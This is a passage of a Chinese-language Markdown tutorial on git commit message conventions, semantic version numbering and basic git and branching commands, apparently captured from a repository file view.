对本次提交详细的描述,一般一行不超过 100 个字符。
|
||||
|
||||
|
||||
### 1.5 footer
|
||||
分为以下两种情况:
|
||||
|
||||
|
||||
- **不兼容变动**:如果当前代码与上一个版本不兼容,则 Footer 部分以BREAKING CHANGE开头,后面是对变动的描述、以及变动理由和迁移方法。
|
||||
- **关闭 Issue**:如果当前 commit 针对某个issue,那么可以在 Footer 部分关闭这个 issue 。
|
||||
|
||||
|
||||
|
||||
### 1.6 revert
|
||||
还有一种特殊情况,如果当前 commit 用于撤销以前的 commit,则必须以revert:开头,后面跟着被撤销 Commit 的 Header。
|
||||
|
||||
|
||||
## 2. 版本管理规范
|
||||
|
||||
### 2.1格式
|
||||
> <主版本号>.<次版本号>.<修订版本号>.[日期]-<版本修饰词>
|
||||
|
||||
主版本号:一次平台大改动,接近重构。
|
||||
次版本号:一次新功能发版。
|
||||
修订版本号:一次bug修复版本。
|
||||
|
||||
|
||||
eg:1.2.3.190101-beta 表示发布了 1 次大版本,新增了 2 次功能,修复了 3 次 bug,该版本发布时间为 20190101,目前为测试阶段。
|
||||
|
||||
### 2.2 版本修饰词参考
|
||||
|
||||
- alpha:内部版本
|
||||
- beta:测试版
|
||||
- demo:演示版
|
||||
- enhance:增强版
|
||||
- free:自由版
|
||||
- lts:长期维护版本
|
||||
- release:发行版
|
||||
- rc:即将作为正式版发布
|
||||
- standard:标准版
|
||||
- ultimate:旗舰版
|
||||
- upgrade:升级版
|
||||
|
||||
## git 命令
|
||||
|
||||
|
||||
### 设置Git的信息(如果是第一次的话)
|
||||
|
||||
|
||||
> git config --global user.name "名字"
|
||||
> git config --global user.email "邮箱"
|
||||
|
||||
|
||||
|
||||
### 生成密匙(很重要)
|
||||
|
||||
|
||||
这是你连接的必要部分,就相当于账号的登录密码,有这个你才能对GitHub上的项目进行操作
|
||||
|
||||
|
||||
> ssh-keygen -t rsa -C "[710328466@qq.com](mailto:710328466@qq.com)"
|
||||
|
||||
|
||||
|
||||
### 配置密匙
|
||||
|
||||
|
||||
- 将获取的密钥放到GitHub->setting下的SSH and GPG keys里面
|
||||
|
||||
|
||||
|
||||
### 新建项目
|
||||
|
||||
|
||||
- 进入首页,新建一个repository
|
||||
- 填写相应信息
|
||||
Repository name: 仓库名称
|
||||
```
|
||||
Description(可选): 仓库描述介绍
|
||||
|
||||
Public, Private : 仓库权限(公开共享,私有或指定合作者)
|
||||
Initialize this repository with a README: 添加一个README.md
|
||||
|
||||
gitignore: 不需要进行版本管理的仓库类型,对应生成文件.gitignore
|
||||
|
||||
license: 证书类型,对应生成文件LICENSE
|
||||
```
|
||||
|
||||
|
||||
### 下载 git bash
|
||||
|
||||
|
||||
- 下载地址去百度好吗?
|
||||
|
||||
|
||||
|
||||
### 将 gitHub 上的仓库克隆到本地
|
||||
|
||||
|
||||
```javascript
|
||||
* git clone (https://github.com/nicecoders/yourItem.git)(nicecoders/yourBlog.git替换成你博客的地址)
|
||||
```
|
||||
|
||||
|
||||
> 这个步骤以后你的本地项目文件夹下面就会多出个文件夹,该文件夹名即为你github上面的项目名,如图我多出了个yourItem文件夹,我们把本地项目文件夹下的所有文件(除了新多出的那个文件夹不用),其余都复制到那个新多出的文件夹下
|
||||
|
||||
|
||||
|
||||
### cd Test 打开Test文件夹
|
||||
|
||||
|
||||
```javascript
|
||||
git add . (添加所有文件)
|
||||
git add readme.md
|
||||
git commit -m "信息"
|
||||
* git push -u origin master 将本地文件上传到git仓库
|
||||
```
|
||||
|
||||
|
||||
> 如果push -u....报错,你就改成git pull --rebase origin master,重新push就可以了
|
||||
|
||||
|
||||
|
||||
## git 基本操作
|
||||
|
||||
|
||||
### touch 文件名
|
||||
|
||||
|
||||
添加到缓存
|
||||
|
||||
|
||||
### git status
|
||||
|
||||
|
||||
> 查看该项目改变的文件
|
||||
|
||||
|
||||
|
||||
- git status
|
||||
|
||||
|
||||
|
||||
### git diff
|
||||
|
||||
|
||||
> 默认是暂未缓存的改动,这个可以查自己目前版本和上一个版本的改动位置
|
||||
|
||||
|
||||
|
||||
#### git diff --cached
|
||||
|
||||
|
||||
> 查看已缓存的改动
|
||||
|
||||
|
||||
|
||||
#### git diff HEAD
|
||||
|
||||
|
||||
> 查看已缓存与未缓存的所有改动
|
||||
|
||||
|
||||
|
||||
#### git diff --stat
|
||||
|
||||
|
||||
> 显示摘要而非整个diff
|
||||
|
||||
|
||||
|
||||
### git rm
|
||||
|
||||
|
||||
> 将条目从缓存区中移除
|
||||
|
||||
|
||||
|
||||
### git mv
|
||||
|
||||
|
||||
> 用于移动或重命名一个文件,目录
|
||||
|
||||
|
||||
|
||||
```javascript
|
||||
git add README
|
||||
git mv README README.md
|
||||
ls
|
||||
```
|
||||
|
||||
|
||||
## git 分支管理
|
||||
|
||||
|
||||
### git branch
|
||||
|
||||
|
||||
- 查看当前分支
|
||||
|
||||
|
||||
|
||||
> 后面加单词,即是创建分支: git branch day1
|
||||
|
||||
|
||||
|
||||
### 删除分支
|
||||
|
||||
|
||||
> git branch -d testing
|
||||
|
||||
|
||||
|
||||
### git checkout ‘分支名’
|
||||
|
||||
|
||||
> 切换分支
|
||||
|
||||
|
||||
|
||||
### git checkout -b newtest
|
||||
|
||||
|
||||
> 创建新分支并切换到该分支下
|
||||
|
||||
|
||||
|
||||
### git merge 分支
|
||||
|
||||
|
||||
> 合并分支
|
||||
|
Loading…
Reference in New Issue
Block a user